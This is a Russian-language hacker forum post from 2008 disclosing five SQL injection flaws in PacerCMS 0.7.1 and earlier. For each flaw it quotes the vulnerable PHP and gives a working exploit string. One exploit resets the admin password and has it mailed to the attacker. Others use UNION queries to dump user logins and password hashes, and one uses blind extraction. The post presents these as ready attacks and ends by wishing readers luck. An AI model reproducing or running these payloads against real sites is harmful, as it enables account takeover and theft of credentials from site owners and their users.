PacerCMS <=0.7.1 Множественные SQL Inj

Discussion in 'Веб-уязвимости' started by Dr.Z3r0, 2 Sep 2008.

  1. Dr.Z3r0

    Dr.Z3r0 Leaders of the World

    Joined:
    6 Jul 2007
    Messages:
    284
    Likes Received:
    595
    Reputations:
    567
    0.INTRO
    Офсайт: http://pacercms.sourceforge.net/
    Префикс(вшит): cm_
    Админка: siteadmin/


    1.Уязвимости

    1. Change Admin Password
    Собственно вот весь уязвимый код:
    PHP:
    // siteadmin/login.php (42-45)
    if ($_POST['username'] != "" && $_POST['email'] != "") {
        
    $username $_POST['username'];
        
    $email $_POST['email'];
        
    $status cm_reset_pass($username,$email);
        
    //...
    }


    // siteadmin/cm-includes/functions.php (80-133)
    function cm_reset_pass($username,$email){
        
    $query "SELECT * FROM cm_users";
        
    $query .= " WHERE user_login = '$username' AND user_email = '$email'";
        
    $query .= " LIMIT 1;";

        
    $result cm_run_query($query);
        
    $id $result->Fields('id');

        if (
    is_numeric($id))
        {
            
    //...
            //Тут рандомно генерится новый пасс
            //...

            // Change to MD5 Hash of random password
            
    $enc_password md5($password);
            
    $query "UPDATE cm_users SET";
            
    $query .= " user_password = '$enc_password'";
            
    $query .= " WHERE id = $id";
            
    $result cm_run_query($query);

            
    // E-mail new password to user
            
    $subject "PacerCMS - Your new username and password";
            
    //...
            
    $message .= "Username:\t $username\n";
            
    $message .= "Password:\t $password\n ";
            
    //...

            // Send the e-mail notification
            
    $sendit mail($email$subject$message);
            
    //...
        
    } else {
            
    //...
        
    }
    }
    Все элементарно. Отсутствует проверка переменной $username и у нас появляется возможность заюзать SQL Injection.

    А для изменения пасса у админа модифицируем запрос к БД так чтобы мы смогли подменить $id на админский (дефолт - 1). Пароль успешно меняется и результат отсылается на указанный нами e-mail.

    Для использования необходимо magic_quotes=off.

    Эксплойт:
    Code:
    http://pacercms/siteadmin/login.php
    POST: username=' UNION SELECT 1,1,1,1,1,1,1,1, 1,1,1,1,1,1,1,1,1,1,1 -- d&email=[Your e-mail]


    2. SQL injection
    Интересная уязвимость. Файл feed.php (8-32)
    PHP:
    if (is_numeric($_GET['id']))
    {
        
    // Grab selected section
        
    $section $_GET['id'];
        
    $smarty->assign("section_name"section_info('name'$_GET['id']) );
        
    $feed_wc .= " WHERE section_id = '$section' AND issue_id = '$issue' ";
    } elseif (
    $_GET['show'] == 'all') {
        
    // Show all sections
        
    $feed_wc .= " WHERE issue_id = $issue ";
    } else {
        
    // Default to cover section
        
    $feed_wc .= " WHERE section_id = 1 AND issue_id = $issue ";
    }

    /*=======================
        Feed Articles
    =======================*/
    $query "SELECT a.id, a.article_title, a.article_text, a.article_summary, a.article_author, a.article_publish, s.section_name ";
    $query .= " FROM cm_articles a INNER JOIN cm_sections s ON a.section_id = s.id ";
    $query .= $feed_wc;
    $query .= " ORDER BY s.section_priority, a.article_priority ASC; ";

    // Run Query
    $result run_query($query);
    Попробуйте отследить переменную $feed_wc. Заметили? Она не объявляется должным образом. То есть мы можем присвоить ей любое значение и только потом после нашего значения к ней допишется один из трех вариантах описанных в конструкции с ифами.

    Затем эта переменная попадает в запрос. Благодаря чему появляется SQL injection.
    (Кстати в данном случае можно заюзать эту багу в 3 версии мускуля где отсутствуют UNION и подзапросы, дописав таблицу с юзерами через запятую во FROM, эт так мылси вслух)

    Необходимо: register_globals=On

    Эксплойт:
    Code:
    http://pacercms/feed.php?feed_wc=WHERE 1=0 UNION SELECT 1,2,3,4,5,CONCAT_WS(0x203A20,user_login,user_password),7  FROM cm_users -- d
    
    Ну и для третей ветки Мускуля:
    http://pacercms/feed.php?feed_wc=, cm_users WHERE IF(ASCII(SUBSTRING(user_login,1,1))>102,1,0) -- d


    3. SQL injection
    А эту багу можно заюзать в двух вариантах в зависимости от настройки PHP. Сейчас объсню.
    Бажный код search.php(13-58)
    PHP:
    // Get set values
    $string strip_tags($_GET['s']);
    $index strip_tags($_GET['index']);
    $sort_by strip_tags($sort_by_list[$_GET['sort_by']]);
    $sort_dir strip_tags($_GET['sort_dir']);

    // Make sure defaults are set
    if (empty($index)) { $index 'article'; }
    if (
    $sort_dir != 'ASC') { $sort_dir 'DESC'; }
    if (empty(
    $sort_by)) { $sort_by 'article_publish'; }

    //...

    // Set search mode
    if ($index == "article") { $field "article_text,article_title,article_subtitle"; }
    if (
    $index == "author") { $field "article_author"; }
    if (
    $index == "keyword") { $field "article_keywords"; }

    $query "SELECT cm_articles.id, cm_articles.id AS article_id, "// article_id depreciated
    $query .= " article_title, article_summary, article_author, article_word_count, article_publish, section_name ";
    $query .= " FROM cm_articles INNER JOIN cm_sections ON cm_articles.section_id = cm_sections.id ";
    $query .= " WHERE MATCH ($field) AGAINST ('$string' IN BOOLEAN MODE) AND article_publish < '$next_issue_date' ";
    $query .= " ORDER BY $sort_by $sort_dir;";

    // Run query
    $result run_query($query);
    Попробуем последить за двумя перменными $index и $field. $index берется из массива $_GET и затем в зависимости от трех различных значений этой перменной объявлятеся $field, которая в свою очередь попадает в запрос.

    Вроде типа грамотно. Ан нет. Если мы присвоим $index любое другое значение не предусмотренное в ифах, то можем задать $field любое наше значение при условии register_globals=On, которое затем попадет в SQL запрос.

    Второй вариант. На сервере register_globals=Off. Что делать? Так вот. Следим за переменной $string она берется из массива $_GET и попадает в запрос без фильтрации, с одной стороны register_globals нас особо не волнует, с другой - появляется неободимость в magic_quotes=off

    Эксплоиты:
    Code:
    Need: register_globals=on
    http://pacercms/search.php?index=zzzz&field=article_author) AGAINST (2) AND 1=0  UNION SELECT 1,2,3,4,5,6,7,8 -- d
    
    Need: magic_qoutes=off
    http://pacercms/search.php?s=2') AND 1=0  UNION SELECT 1,2,3,4,5,CONCAT_WS(0x203A20,user_login,user_password),7,8 FROM cm_users -- d


    4. SQL injection
    Тут все до нельзя банально. archives.php (99-107)
    PHP:
    $query "SELECT cm_articles.id, cm_articles.id AS article_id, "// article_id depreciated
    $query .= " article_title, article_summary, article_author, article_word_count, section_name, issue_volume, issue_number ";
    $query .= " FROM cm_articles INNER JOIN (cm_sections, cm_issues) ";
    $query .= " ON (cm_sections.id = cm_articles.section_id AND cm_issues.id = cm_articles.issue_id)";
    $query .= " WHERE issue_date = '$issue_date' AND issue_date < '$next_issue_date' ";
    $query .= " ORDER BY section_priority ASC, article_priority ASC;";

    // Run query
    $result run_query($query);
    Возможно задать перменной $issue_date свое значение при register_globals=on и заюзать SQL inj при magic_quotes=off, вот такая вот привередливая бага.

    Эксплоит:
    Code:
    http://pacercms/archives.php?issue=1&issue_date=1' UNION SELECT 1,2,3,4,5,CONCAT('<script>alert("',CONCAT_WS(0x203A20,user_login,user_password),'")</script>'),7,8,9 FROM cm_users-- d
    //ЗЫ с алертом изъебнулсо чтобы сразу бросалось в глаза, это необязательно ;)


    5. Blind SQL injection (More1Row)
    Бажен этот же файл. archives.php (22-28)
    PHP:
    if (ereg("([0-9]{4})-([0-9]{1,2})-([0-9]{1,2})"$_GET['issue']))
    {
        
    $issue_date $_GET['issue'];
        
    $query "SELECT issue_volume FROM cm_issues WHERE issue_date = '$issue_date';";
        
    $result run_query($query);
        
    $volume $result->Fields(issue_volume);
    }
    Такое ощущение что автор немного накосячил в регулярке, во первых, а во вторых в любом случае эта фильтрация свелась бы на нет нулл байтом %00

    Если при выполнении SQL запроса произошла какая то ошибка то функция run_query выводит типа блаблабла косяк в запросе, благодаря чему мы можем заюзать метод more1row.

    Для эксплуатации уязвимости необходимо magic_quotes=off

    Эксплоит:
    Code:
    http://pacercms/archives.php?issue=2008-09-01' OR IF(ASCII(SUBSTRING((SELECT CONCAT_WS(0x3A,user_login,user_password) FROM cm_users),1,1))>102,1,(SELECT 1 UNION SELECT 2))-- d

    2.OUTRO
    Это самые критичные баги. К примеру XSS там куча, огромная куча. В особенности пассивок.

    В админке способа залить шелл нету. Вся админка работает только по принципу добавить новость, удалить, вообщем самый минимум. Хотя может быть чего то да я упустил.

    Собственно удачи...
     
    9 people like this.